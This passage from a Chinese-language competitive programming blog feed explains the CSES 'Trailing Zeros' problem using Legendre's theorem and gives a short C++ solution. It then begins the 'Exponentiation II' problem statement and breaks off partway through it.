stretchy="false">⌊</mo><mfrac><mi>n</mi><msup><mn>5</mn><mn>2</mn></msup></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">\lfloor\frac{n}{5^2}\rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.095em;vertical-align:-0.345em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.786em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span>個</li><li>被<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>5</mn><mn>3</mn></msup></mrow><annotation encoding="application/x-tex">5^3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span>整除的數有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⌊</mo><mfrac><mi>n</mi><msup><mn>5</mn><mn>3</mn></msup></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">\lfloor\frac{n}{5^3}\rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.095em;vertical-align:-0.345em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.786em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span>個<br>等等，於是所求即</li></ul><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo stretchy="false">⌊</mo><mfrac><mi>n</mi><mn>5</mn></mfrac><mo stretchy="false">⌋</mo><mo>+</mo><mo stretchy="false">⌊</mo><mfrac><mi>n</mi><msup><mn>5</mn><mn>2</mn></msup></mfrac><mo stretchy="false">⌋</mo><mo>+</mo><mo stretchy="false">⌊</mo><mfrac><mi>n</mi><msup><mn>5</mn><mn>3</mn></msup></mfrac><mo stretchy="false">⌋</mo><mo>+</mo><mo>⋯</mo><mo>=</mo><munderover><mo>∑</mo><mrow><mi>k</mi><mo>=</mo><mn>1</mn></mrow><mi mathvariant="normal">∞</mi></munderover><mo stretchy="false">⌊</mo><mfrac><mi>n</mi><msup><mn>5</mn><mi>k</mi></msup></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">\lfloor\frac{n}{5}\rfloor+\lfloor\frac{n}{5^2}\rfloor+\lfloor\frac{n}{5^3}\rfloor+\cdots=\sum\limits_{k=1}^\infty\lfloor\frac{n}{5^k}\rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">5</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9535em;vertical-align:-1.3021em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8479em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">∞</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.3021em;"><span></span></span></span></span></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7751em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span></span></p><p>此即勒讓德定理(Legendre’s Theorem)：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>ν</mi><mi>p</mi></msub><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">!</mo><mo stretchy="false">)</mo><mo>=</mo><munderover><mo>∑</mo><mrow><mi>k</mi><mo>=</mo><mn>1</mn></mrow><mi mathvariant="normal">∞</mi></munderover><mo stretchy="false">⌊</mo><mfrac><mi>n</mi><msup><mi>p</mi><mi>k</mi></msup></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">\nu_{p}(n!)=\sum\limits_{k=1}^\infty\lfloor\frac{n}{p^k}\rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0637em;">ν</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0637em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">!)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9535em;vertical-align:-1.3021em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8479em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">∞</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.3021em;"><span></span></span></span></span></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7751em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span></span></p><p>其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>ν</mi><mi>p</mi></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\nu_p(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0637em;">ν</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0637em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span>表示滿足<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>p</mi><mi>k</mi></msup><mi mathvariant="normal">∣</mi><mi>x</mi></mrow><annotation encoding="application/x-tex">p^k|x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord mathnormal">x</span></span></span></span>的最大正整數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>(即<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>被<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>整除幾次)</p><p>在計算時，我們可以用以下性質簡化計算：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo stretchy="false">⌊</mo><mfrac><mi>x</mi><mrow><mi>a</mi><mi>b</mi></mrow></mfrac><mo stretchy="false">⌋</mo><mo>=</mo><mo stretchy="false">⌊</mo><mfrac><mrow><mo stretchy="false">⌊</mo><mfrac><mi>x</mi><mi>a</mi></mfrac><mo stretchy="false">⌋</mo></mrow><mi>b</mi></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">\lfloor \frac{x}{ab} \rfloor=\lfloor \frac{\lfloor \frac{x}{a}\rfloor}{b} \rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">ab</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.171em;vertical-align:-0.686em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.485em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">b</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.735em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span></span></p><h2 id="ac-code" tabindex="-1" id="AC-Code">AC Code</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> n<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">int</span> z <span class="token operator">=</span> n<span class="token punctuation">,</span> ans <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>z <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    z <span class="token operator">/=</span> <span class="token number">5</span><span class="token punctuation">;</span>    ans <span class="token operator">+=</span> z<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  cout <span class="token operator">&lt;&lt;</span> ans<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>很簡單吧~</p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/01/CSES-Trailing-Zeros-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/06/01/CSES-Trailing-Zeros-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-06-01T10:19:36.000Z</published>
    <summary>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1>
<ul>
<li>Time limit: 1.00 s</li>
<li>Memory limit: 512 MB</li>
</ul>
<p>Your task is to ca]]>
    </summary>
    <title>CSES Trailing Zeros 題解</title>
    <updated>2026-06-01T10:19:36.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Mathematics" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Mathematics/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <content>
      <![CDATA[<blockquote><p>本題會用到上次在<a href="/2026/05/31/CSES-Exponentiation-%E9%A1%8C%E8%A7%A3/"><em><strong>CSES Exponentiation 題解 | R3X’s Blog</strong></em></a>講到的東西，並假設讀者都已看過。</p></blockquote><h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><ul><li>Time limit: 1.00 s</li><li>Memory limit: 512 MB</li></ul><p>Your task is to efficiently calculate values <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><msup><mi>b</mi><mi>c</mi></msup></msup></mrow><annotation encoding="application/x-tex">a^{b^c}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.88em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.88em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7385em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">c</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> modulo <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>.<br>Note that in this task we assume that <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>0</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">0^0=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>.</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>The first input line contains an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>: the number of calculations.<br/>After this, there are <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> lines, each containing three integers <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo separator="true">,</mo><mi>b</mi></mrow><annotation encoding="application/x-tex">a, b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>c</mi></mrow><annotation encoding="application/x-tex">c</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">c</span></span></span></span>.</td><td>Print each value <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><msup><mi>b</mi><mi>c</mi></msup></msup></mrow><annotation encoding="application/x-tex">a^{b^c}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.88em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.88em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7385em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">c</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> modulo <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>.</td></tr></tbody></table><p>Constraints</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>n</mi><mo>≤</mo><mn>2</mn><mo>⋅</mo><msup><mn>10</mn><mn>5</mn></msup></mrow><annotation encoding="application/x-tex">1 \le n \le 2 \cdot 10^5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span 